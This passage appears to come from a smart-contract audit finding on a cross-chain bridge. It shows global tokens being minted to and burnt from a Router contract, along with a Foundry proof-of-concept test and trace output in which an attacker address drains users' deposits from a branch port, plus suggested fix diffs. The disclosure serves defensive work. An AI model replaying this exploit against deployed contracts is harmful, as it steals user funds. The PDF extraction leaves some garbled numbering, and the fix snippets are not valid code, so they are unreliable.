9      for (uint256 i = 0; i < length;) {
10         bridgeIn(
11
12             //@audit-info => forwards the received `recipient`
                parameter to the bridgeIn() function for each of the
                tokens being bridged
13             _recipient,
14
15             DepositParams({
16                 hToken: _dParams.hTokens[i],
17                 token: _dParams.tokens[i],
18                 amount: _dParams.amounts[i],
19                 deposit: _dParams.deposits[i],
20                 depositNonce: 0
21             }),
22             _srcChainId
23         );
24
25         unchecked {
26             ++i;
27         }
28     }
29 }

```

RootBridgeAgent.sol contract.

```

1  function bridgeIn(address _recipient, DepositParams memory _dParams,
    uint256 _srcChainId)
2      public
3      override
4      requiresAgentExecutor

```

```
5 {
6     ...
7
8     // Move hTokens from Branch to Root + Mint Sufficient hTokens to
9     // match new port deposit
10    IPort(_localPortAddress).bridgeToRoot(
11
12        //@audit-info => Forwards the _recipient parameter to the
13        // LocalPort::bridgeToRoot() function, where the globalTokens
14        // will be finally minted!
15        _recipient,
16
17        IPort(_localPortAddress).getGlobalTokenFromLocal(_dParams.
18            hToken, _srcChainId),
19        _dParams.amount,
20        _dParams.deposit,
21        _srcChainId
22    );
23 }
```

LocalPort.sol contract.

```
1 function bridgeToRoot(address _recipient, address _hToken, uint256
2   _amount, uint256 _deposit, uint256 _srcChainId)
3   external
4   override
5   requiresBridgeAgent
6 {
7     if (!isGlobalAddress[_hToken]) revert UnrecognizedToken();
8
9     if (_amount - _deposit > 0) {
10         unchecked {
11             _hToken.safeTransfer(_recipient, _amount - _deposit);
12         }
13     }
14
15     //@audit-info => Will mint the globalTokens to the address of `
16     // _recipient` parameter, which, by tracing back the execution flow
17     // , it was set to be the address of the Router contract, instead
18     // of the address of the user who bridgedOut their tokens from a
19     // Branch to Root!
20     if (_deposit > 0) if (!ERC20hTokenRoot(_hToken).mint(_recipient,
21         _deposit, _srcChainId)) revert UnableToMint();
22 }
```

- The result of depositing/bridgingOut tokens from a Branch to Root is that the recipient of the globalTokens is the Router contract instead of the depositor

**Execution flow to settle/bridgeIn tokens from Root to a Branch**

```

1 BaseBranchRouter::callOut() => BranchBridgeAgent::callOut() => sends a
  crosschain message through LayerZero to the Root environment with
  the data of the settlement => RBA::lzReceive() => RBA::
  lzReceiveNonBlocking() => RBAExecutor::executeNoDeposit() => MRR::
  execute() => MRR::_approveMultipleAndCallOut() => Approves the
  RootBridgeAgent contract to spend the output tokens from the
  MulticallRootRouter contract => RBA::callOutAndBridgeMultiple() =>
  RBA::_createSettlementMultiple() => RBA::_updateStateOnBridgeOut()
  => transfers globalTokens from the caller of the RootBridgeAgent
  contract into the RootPort and burns those tokens => sends a
  crosschain message flagged as 0x02 through LayerZero to
  destinationBranch to unlock the underlyingTokens that were locked in
  the BranchPort and to mint new hTokens => BBA::lzReceive() => BBA:
  lzReceiveNonBlocking() => BBAExecutor::executeWithSettlementMultiple
  () => BBA::clearTokens() => BranchPort::bridgeInMultiple() => mint
  hTokens(localTokens) and unlocks the underlyingTokens from the
  BranchPort to the Recipient

```

- MRR => MultiRootRouter contract
- RBA => RootBridgeAgent contract
- RBAExecutor => RootBridgeAgentExecutor contract
- BBA => BranchBridgeAgent contract
- BBAExecutor => BranchBridgeAgentExecutor contract
- To spot the second problem, we are interested in the execution in the Root environment, specifically, when the execution reaches the `RootBridgeAgent::callOutAndBridgeMultiple()` function and it calls the `RootBridgeAgent::_createSettlementMultiple()` function to forward the execution to the `RootBridgeAgent::_updateStateOnBridgeOut()` function to transfer the globalTokens from the caller of the `RootBridgeAgent` to the `RootBridgeAgent` contract itself and then burn those globalTokens on the `RootPort`.
  - When the `RootBridgeAgent::callOutAndBridgeMultiple()` function is called, it validates that the caller is the localRouter (MulticallRootRouter contract), otherwise the tx will be reverted, then the `RootBridgeAgent::_createSettlementMultiple()` function is called, and it proceeds to forward the execution to the `RootBridgeAgent::_updateStateOnBridgeOut()` function and it passes the value of the `_depositor` parameter as the `msg.sender`, so, in the `RootBridgeAgent::_updateStateOnBridgeOut()` function, **the globalTokens are transferred from the address of the `_depositor` parameter (which was passed as the `msg.sender` of the `RootBridgeAgent` contract, which it was enforced to be only the localRouter) into the `RootBridgeAgent` contract itself to finally be burnt on the `RootPort`**

## RootBridgeAgent.sol contract

```
1 function callOutAndBridgeMultiple(
2     ...
3     //@audit-info => the requiresRouter modifier validates that the caller
4     (msg.sender) is the localRouter, otherwise, the tx is reverted
5 ) external payable override lock requiresRouter {
6     // Create Settlement and Perform call
7
8     //@audit-info => Calls the _createSettlementMultiple()
9     bytes memory payload = _createSettlementMultiple(
10         ...
11     );
12     ...
13 }
14
15 modifier requiresRouter() {
16     if (msg.sender != localRouterAddress) revert UnrecognizedRouter();
17     _;
18 }
19
20 function _createSettlementMultiple(
21     uint32 _settlementNonce,
22     address payable _refundee,
23     address _recipient,
24     uint16 _dstChainId,
25     address[] memory _globalAddresses,
26     uint256[] memory _amounts,
27     uint256[] memory _deposits,
28     bytes memory _params,
29     bool _hasFallbackToggled
30 ) internal returns (bytes memory _payload) {
31     ...
32
33     for (uint256 i = 0; i < hTokens.length;) {
34         ...
35
36         //@audit-info => forwards the execution to the
37         _updateStateOnBridgeOut() function and sets the `_depositor`
38         parameter to be the `msg.sender`, which was enforced to
39         only be the localRouter (MulticallRootRouter)
40         _updateStateOnBridgeOut(
41             msg.sender, _globalAddresses[i], hTokens[i], tokens[i],
42             _amounts[i], _deposits[i], destChainId
43         );
44     }
45 }
```

```
44     ...
45     ...
46     ...
47 }
48
49 function _updateStateOnBridgeOut(
50     address _depositor,
51     address _globalAddress,
52     address _localAddress,
53     address _underlyingAddress,
54     uint256 _amount,
55     uint256 _deposit,
56     uint16 _dstChainId
57 ) internal {
58     ...
59
60     // Move output hTokens from Root to Branch
61     if (_amount - _deposit > 0) {
62         unchecked {
63             // @audit-info => transfers globalTokens from the _depositor
64             // parameter to the RootPort
65             _globalAddress.safeTransferFrom(_depositor,
66                 localPortAddress, _amount - _deposit);
67         }
68     }
69
70     // Clear Underlying Tokens from the destination Branch
71     if (_deposit > 0) {
72         // Verify there is enough balance to clear native tokens if
73         // needed
74         if (IERC20hTokenRoot(_globalAddress).getTokenBalance(
75             _dstChainId) < _deposit) {
76             revert InsufficientBalanceForSettlement();
77         }
78
79         // @audit-info => Burns the globalTokens from the _depositor
80         // parameter in the RootPort
81         IPort(localPortAddress).burn(_depositor, _globalAddress,
82             _deposit, _dstChainId);
83     }
84 }
```

- **The problem is caused due to the fact that the globalTokens are burnt from the Router, instead of being burnt from the actual user who is requesting the settlement.**
  - This opens up the doors for attackers to steal the deposits from the users by requesting settlements which will cause the contracts to burn the globalTokens that were minted to the Router contract and the Branch contracts to unlock the underlyingTokens locked in the BranchPorts as well as minting the localTokens to the attacker.

## Coded PoC

I coded a PoC to demonstrate the problem I'm reporting, using the `RootForkTest.t.sol` test file as the base to reproduce this PoC: - Make sure to add the global variables in addition to the new `testCallOut_AttackerStealDeposits_PoC()` function

```
1  contract RootForkTest is LzForkTest {
2      ...
3
4      // ERC20s from different chains.
5
6      address avaxMockAssetToken;
7
8      MockERC20 avaxMockAssetToken;
9
10 +   MockERC20 underToken0;
11 +   MockERC20 underToken1;
12
13     ...
14
15     function _deployUnderlyingTokensAndMocks() internal {
16         //Switch Chain and Execute Incoming Packets
17         switchToLzChain(avaxChainId);
18         vm.prank(address(1));
19         // avaxMockAssetToken = new MockERC20("hTOKEN-AVAX", "LOCAL
20             hTOKEN FOR TOKEN IN AVAX", 18);
21         avaxMockAssetToken = new MockERC20("underlying token", "UNDER",
22             18);
23 +         underToken0 = new MockERC20("u0 token", "U0", 18);
24 +         underToken1 = new MockERC20("u0 token", "U0", 18);
25
26     ...
27     }
28
29     ...
30 +   address[] public hTokens;
31 +   address[] public tokens;
32 +   uint256[] public amounts;
33 +   uint256[] public deposits;
34 +
35 +   address public localTokenUnder0;
36 +   address public localTokenUnder1;
37
38 +   address[] public outputTokens;
39 +   address public globalTokenUnder0;
40 +   address public globalTokenUnder1;
41
42     function testCallOut_AttackerStealDeposits_PoC() public {
```



```
43      //Switch Chain and Execute Incoming Packets
44      switchToLzChain(avaxChainId);
45
46      vm.deal(address(this), 10 ether);
47
48      avaxCoreRouter.addLocalToken{value: 1 ether}(address(
49          underToken0), GasParams(2_000_000, 0));
50      avaxCoreRouter.addLocalToken{value: 1 ether}(address(
51          underToken1), GasParams(2_000_000, 0));
52
53      //Switch Chain and Execute Incoming Packets
54      switchToLzChain(rootChainId);
55
56      //Switch Chain and Execute Incoming Packets
57      switchToLzChain(avaxChainId);
58
59      //Switch Chain and Execute Incoming Packets
60      switchToLzChain(rootChainId);
61
62      localTokenUnder0 = rootPort.getLocalTokenFromUnderlying(address(
63          underToken0), avaxChainId);
64      localTokenUnder1 = rootPort.getLocalTokenFromUnderlying(address(
65          underToken1), avaxChainId);
66
67      switchToLzChain(avaxChainId);
68
69      vm.deal(address(this), 10 ether);
70
71      uint256 _amount0 = 1 ether;
72      uint256 _amount1 = 1 ether;
73
74      uint256 _deposit0 = 1 ether;
75      uint256 _deposit1 = 1 ether;
76
77      //GasParams
78      GasParams memory gasParams = GasParams(1_250_000 , 0 ether);
79
80      address _recipient = address(this);
81
82      vm.startPrank(address(avaxPort));
83
84      ERC20hTokenBranch(localTokenUnder0).mint(_recipient, _amount0 -
85          _deposit0);
86      ERC20hTokenBranch(localTokenUnder1).mint(_recipient, _amount1 -
87          _deposit1);
88
89      underToken0.mint(_recipient, _deposit0);
90      underToken1.mint(_recipient, _deposit1);
```

```
88
89     vm.stopPrank();
90
91     // Cast to Dynamic
92     hTokens.push(address(localTokenUnder0));
93     hTokens.push(address(localTokenUnder1));
94
95     tokens.push(address(underToken0));
96     tokens.push(address(underToken1));
97
98     amounts.push(_amount0);
99     amounts.push(_amount1);
100
101     deposits.push(_deposit0);
102     deposits.push(_deposit1);
103
104
105     //@audit-info => Prepare deposit info
106     DepositMultipleInput memory depositInput =
107         DepositMultipleInput({hTokens: hTokens, tokens: tokens,
108             amounts: amounts, deposits: deposits});
109
110     // Approve spend by router
111     // MockERC20(hTokens[0]).approve(address(avaxMulticallRouter),
112         amounts[0] - deposits[0]);
113     MockERC20(tokens[0]).approve(address(avaxMulticallRouter),
114         deposits[0]);
115     // MockERC20(hTokens[1]).approve(address(avaxMulticallRouter),
116         amounts[1] - deposits[1]);
117     MockERC20(tokens[1]).approve(address(avaxMulticallRouter),
118         deposits[1]);
119
120     //@audit-info => deposit multiple assets from Avax branch to
121         Root
122     avaxMulticallRouter.callOutAndBridgeMultiple{value: 1 ether}(
123         bytes(""), depositInput, gasParams);
124
125     //Switch Chain and Execute Incoming Packets
126     switchToLzChain(rootChainId);
127
128     globalTokenUnder0 = rootPort.getGlobalTokenFromLocal(address(
129         localTokenUnder0), avaxChainId);
130     globalTokenUnder1 = rootPort.getGlobalTokenFromLocal(address(
131         localTokenUnder1), avaxChainId);
132
133     console2.log("globalTokenUnder0", globalTokenUnder0);
134     console2.log("globalTokenUnder1", globalTokenUnder1);
135
136     console2.log("Validate if the Recipient received the
```

```
GlobalToken in the Root environment");
130 console2.log("recipient globalToken0 balance in Root: ",
    ERC20hTokenRoot(globalTokenUnder0).balanceOf(_recipient));
131 console2.log("recipient globalToken1 balance in Root: ",
    ERC20hTokenRoot(globalTokenUnder1).balanceOf(_recipient));
132
133 console2.log("MulticallRootRouter globalToken0 balance in Root:
    ", ERC20hTokenRoot(globalTokenUnder0).balanceOf(address(
    rootMulticallRouter)));
134 console2.log("MulticallRootRouter globalToken1 balance in Root:
    ", ERC20hTokenRoot(globalTokenUnder1).balanceOf(address(
    rootMulticallRouter)));
135
136 // @audit-info => Validating that the Recipient did not received
    any GlobalTokens
137 console2.log("Validating that the Recipient did not received
    any GlobalTokens");
138 assertFalse(ERC20hTokenRoot(globalTokenUnder0).balanceOf(
    _recipient) == _deposit0);
139 assertFalse(ERC20hTokenRoot(globalTokenUnder1).balanceOf(
    _recipient) == _deposit1);
140
141 // @audit-info => Validating that the rootMulticallRouter
    received the GlobalTokens instead of the Recipient
142 console2.log("Validating that the rootMulticallRouter received
    the GlobalTokens instead of the Recipient");
143 assertTrue(ERC20hTokenRoot(globalTokenUnder0).balanceOf(address
    (rootMulticallRouter)) == _deposit0);
144 assertTrue(ERC20hTokenRoot(globalTokenUnder1).balanceOf(address
    (rootMulticallRouter)) == _deposit1);
145
146 // Switch Chain to Avax to Request a Settlement
147 switchToLzChain(avaxChainId);
148
149 console2.log("Validating AvaxPort has locked the
    underlyingTokens that were Bridged to Root");
150
151 require(underToken0.balanceOf(address(avaxPort)) == _deposit0);
152 require(underToken1.balanceOf(address(avaxPort)) == _deposit1);
153
154 require(underToken0.balanceOf(address(_recipient)) == 0);
155 require(underToken1.balanceOf(address(_recipient)) == 0);
156
157
158 // @audit-info => Prepare data for the Settlement
159 outputTokens.push(address(globalTokenUnder0));
160 outputTokens.push(address(globalTokenUnder1));
161 bytes memory packedData;
162
163 address attacker = vm.addr(5);
164 vm.label(attacker, "ATTACKER");
```

```
165
166     {
167         Multicall2.Call[] memory calls = new Multicall2.Call[](1);
168
169         //Mock action
170         calls[0] = Multicall2.Call({
171             target: globalTokenUnder0,
172             callData: abi.encodeWithSelector(bytes4(0xa9059cbb),
173                 mockApp, 0 ether)
174         });
175
176         //Output Params
177         OutputMultipleParams memory outputParams =
178             OutputMultipleParams(attacker, outputTokens, amounts,
179                 deposits);
180
181         //dstChainId
182         uint16 dstChainId = avaxChainId;
183
184         //RLP Encode Calldata
185         bytes memory data = abi.encode(calls, outputParams,
186             dstChainId, [GasParams(2_000_000, 0 ether), GasParams
187                 (200_000, 0)]);
188
189         //Pack FuncId
190         packedData = abi.encodePacked(bytes1(0x03), data);
191
192     }
193
194     vm.deal(attacker, 1000 ether);
195     vm.prank(attacker);
196
197     // vm.deal(address(this), 1000 ether);
198
199     //@audit-info => Request the settlement to the Avax Branch
200     avaxMulticallRouter.callOut{value: 1000 ether}(packedData,
201         GasParams(15_000_000, 0.2 ether));
202
203     //@audit-info => Process the request to Settle tokens in the
204     Root environment
205     //Switch Chain to Avax to Request a Settlement
206     switchToLzChain(rootChainId);
207
208     //@audit-info => Completes the request to Settle tokens in Avax
209     Branch
210     //Switch Chain to Avax to Request a Settlement
211     switchToLzChain(avaxChainId);
212
213     console2.log("Validating Attacker has stealed tokens from the
214         AvaxPort");
215
216
```

```

207     assertTrue(underToken0.balanceOf(address(avaxPort)) == 0);
208     assertTrue(underToken1.balanceOf(address(avaxPort)) == 0);
209
210     assertTrue(underToken0.balanceOf(address(_recipient)) == 0);
211     assertTrue(underToken1.balanceOf(address(_recipient)) == 0);
212
213     assertTrue(underToken0.balanceOf(attacker) == _deposit0);
214     assertTrue(underToken1.balanceOf(attacker) == _deposit1);
215
216     switchToLzChain(rootChainId);
217     assertTrue(ERC20hTokenRoot(globalTokenUnder0).balanceOf(address
        (_recipient)) == 0);
218     assertTrue(ERC20hTokenRoot(globalTokenUnder1).balanceOf(address
        (_recipient)) == 0);
219
220     assertTrue(ERC20hTokenRoot(globalTokenUnder0).balanceOf(address
        (rootMulticallRouter)) == 0);
221     assertTrue(ERC20hTokenRoot(globalTokenUnder1).balanceOf(address
        (rootMulticallRouter)) == 0);
222
223     console2.log("Attacker has stolen all the Funds!!!");
224
225 }

```

- Now everything is ready to run the test and analyze the output: > forge test -mc RootForkTest -match-test testCallOut\_AttackerStealDeposits\_PoC -vvvv
- As we can see from the output, the attacker has stolen the underlyingTokens that were deposited by the user in the Branch, and all the globalTokens were burnt in the Root environment.

```

1      >[0] console::log(Validating Attacker has stealed tokens from the
      AvaxPort) [staticcall]
2      |      > < ()
3      >[542] MockERC20::balanceOf(BranchPort: [0
      x369Ff55AD83475B07d7FF2F893128A93da9bC79d]) [staticcall]
4      |      > < 0
5      >[542] MockERC20::balanceOf(BranchPort: [0
      x369Ff55AD83475B07d7FF2F893128A93da9bC79d]) [staticcall]
6      |      > < 0
7      >[542] MockERC20::balanceOf(RootForkTest: [0
      xBb2180ebd78ce97360503434eD37fcf4a1Df61c3]) [staticcall]
8      |      > < 0
9      >[542] MockERC20::balanceOf(RootForkTest: [0
      xBb2180ebd78ce97360503434eD37fcf4a1Df61c3]) [staticcall]
10     |      > < 0
11     >[542] MockERC20::balanceOf(ATTACKER: [0
      xe1AB8145F7E55DC933d51a18c793F901A3A0b276]) [staticcall]
12     |      > < 1000000000000000000 [1e18]
13     >[542] MockERC20::balanceOf(ATTACKER: [0
      xe1AB8145F7E55DC933d51a18c793F901A3A0b276]) [staticcall]
14     |      > < 1000000000000000000 [1e18]

```

[illegible]

### Figure 4: Attacker steals user's funds



## Tools Used

Manual Audit

## Recommended Mitigation Steps

- I'll split the recommendation into two parts to mitigate this problem, the first part will be to fix the fact that tokens are minted to the Router contracts when users bridgeOut their tokens from a Branch to Root, and the second part will be to fix the problem that allows attackers to steal tokens by requesting a settlement and forcing the burn of the globalTokens from the Router contract instead of burning them from the Caller.

**Fixing the Deposit/BridgeOut process** - Allow the depositors to specify the address where they'd like to receive their globalTokens in the Root environment when they call the `BaseBranchRouter::callOutAndBridgeMultiple()` function, and then, in the `RootBridgeAgentExecutor::executeWithDepositMultiple()` function, instead of setting the address of the `_depositor` parameter to be the value of the `_router` parameter, make sure to read from the payload the address of the receiver that was specified by the depositor, the one who initiated the call in the SourceBranch and from who the hTokens and underlyingTokens were taken.

```
1 function executeWithDepositMultiple(address _router, bytes calldata
   _payload, uint16 _srcChainId)
2     external
3     payable
4     onlyOwner
5 {
6     //@audit-info => Read the address of the receiver from the correct
       offset where it would've been encoded!
7 +   address _depositorAddress = payload[<OFFSET_OF_THE_RECEIVER_ADDRESS
       >];
8     //Bridge In Assets and Save Deposit Params
9     DepositMultipleParams memory dParams = _bridgeInMultiple(
10 -   _router,
11     //@audit-info => Set the _depositor parameter to be the address
       of the depositor who initiated the call!
12 +   _depositorAddress
13     _payload[
14         PARAMS_START:
15         PARAMS_END_OFFSET + uint256(uint8(bytes1(_payload[
16             PARAMS_START]))) * PARAMS_TKN_SET_SIZE_MULTIPLE
17     ],
18     _srcChainId
19 );
20 ...
```



```

21     }
22 }

```

**Fixing the Settlement/BranchIn process** - When calling the `BaseBranchRouter::callOut()` function, forward the `msg.sender` to the `BaseBranchBridgeAgent::callOut()` function and make sure to include that address in the encoded payload that will be sent through the LayerZero to the Root environment. - Because this function can also be called directly, make sure to validate that the caller of the `BaseBranchBridgeAgent::callOut()` function is either the `BranchRouter` or the same address specified as the requestor of the settlement

BaseBranchRouter.sol contract

```

1  function callOut(bytes calldata _params, GasParams calldata _gParams)
    external payable override lock {
2  -   IBridgeAgent(localBridgeAgentAddress).callOut{value: msg.value}(
        payable(msg.sender), _params, _gParams);
3  +   IBridgeAgent(localBridgeAgentAddress).callOut{value: msg.value}(
        payable(msg.sender), msg.sender _params, _gParams);
4  }

```

BranchBridgeAgent.sol contract

```

1  - function callOut(address payable _refundee, bytes calldata _params,
    GasParams calldata _gParams)
2  + function callOut(address payable _refundee, address _requestor, bytes
    calldata _params, GasParams calldata _gParams)
3      external
4      payable
5      override
6      lock
7  {
8  +   require(msg.sender == localRouter || msg.sender == _requestor);
9
10     //Encode Data for cross-chain call.
11 -   bytes memory payload = abi.encodePacked(bytes1(0x01), depositNonce
        ++, _params);
12
13     //@audit-info => The offset where to encode the _requestor address
        can be anywhere
14 +   bytes memory payload = abi.encodePacked(bytes1(0x01), depositNonce
        ++, _params, _requestor);
15
16     //Perform Call
17     _performCall(_refundee, payload, _gParams);
18 }

```

- Now, when the execution reaches the `RootBridgeAgent::_createSettlementMultiple()` function, instead of setting the value of the `_depositor` parameter as the `msg.sender`,

make sure that this function (`_createSettlementMultiple()`) has already received the address as a parameter of the original requestor, and use that address to set the value of the `_depositor` parameter instead of the `msg.sender`, in this way, the globalTokens will be burnt from the original requestor and not from the Router contract, which will prevent attackers from stealing user's assets.

#### RootBridgeAgent.sol contract

```
1 function _createSettlementMultiple(  
2     uint32 _settlementNonce,  
3     address payable _refundee,  
4     address _recipient,  
5     uint16 _dstChainId,  
6     address[] memory _globalAddresses,  
7     uint256[] memory _amounts,  
8     uint256[] memory _deposits,  
9     bytes memory _params,  
10    bool _hasFallbackToggled,  
11    + address _originalRequestor  
12 ) internal returns (bytes memory _payload) {  
13     // Check if valid length  
14     if (_globalAddresses.length > MAX_TOKENS_LENGTH) revert  
        InvalidInputParamsLength();  
15  
16     // Check if valid length  
17     if (_globalAddresses.length != _amounts.length) revert  
        InvalidInputParamsLength();  
18     if (_amounts.length != _deposits.length) revert  
        InvalidInputParamsLength();  
19  
20     //Update Settlement Nonce  
21     settlementNonce = _settlementNonce + 1;  
22  
23     // Create Arrays  
24     address[] memory hTokens = new address[](_globalAddresses.length);  
25     address[] memory tokens = new address[](_globalAddresses.length);  
26  
27     for (uint256 i = 0; i < hTokens.length;) {  
28         // Populate Addresses for Settlement  
29         hTokens[i] = IPort(localPortAddress).getLocalTokenFromGlobal(  
            _globalAddresses[i], _dstChainId);  
30         tokens[i] = IPort(localPortAddress).getUnderlyingTokenFromLocal(  
            hTokens[i], _dstChainId);  
31  
32         // Avoid stack too deep  
33         uint16 destChainId = _dstChainId;  
34  
35         // Update State to reflect bridgeOut  
36         _updateStateOnBridgeOut(  

```

```
37 -         msg.sender, _globalAddresses[i], hTokens[i], tokens[i],  
    _amounts[i], _deposits[i], destChainId  
38 +         _originalRequestor, _globalAddresses[i], hTokens[i], tokens  
    [i], _amounts[i], _deposits[i], destChainId  
39     );  
40  
41     ...  
42 }  
43  
44 ...  
45 }
```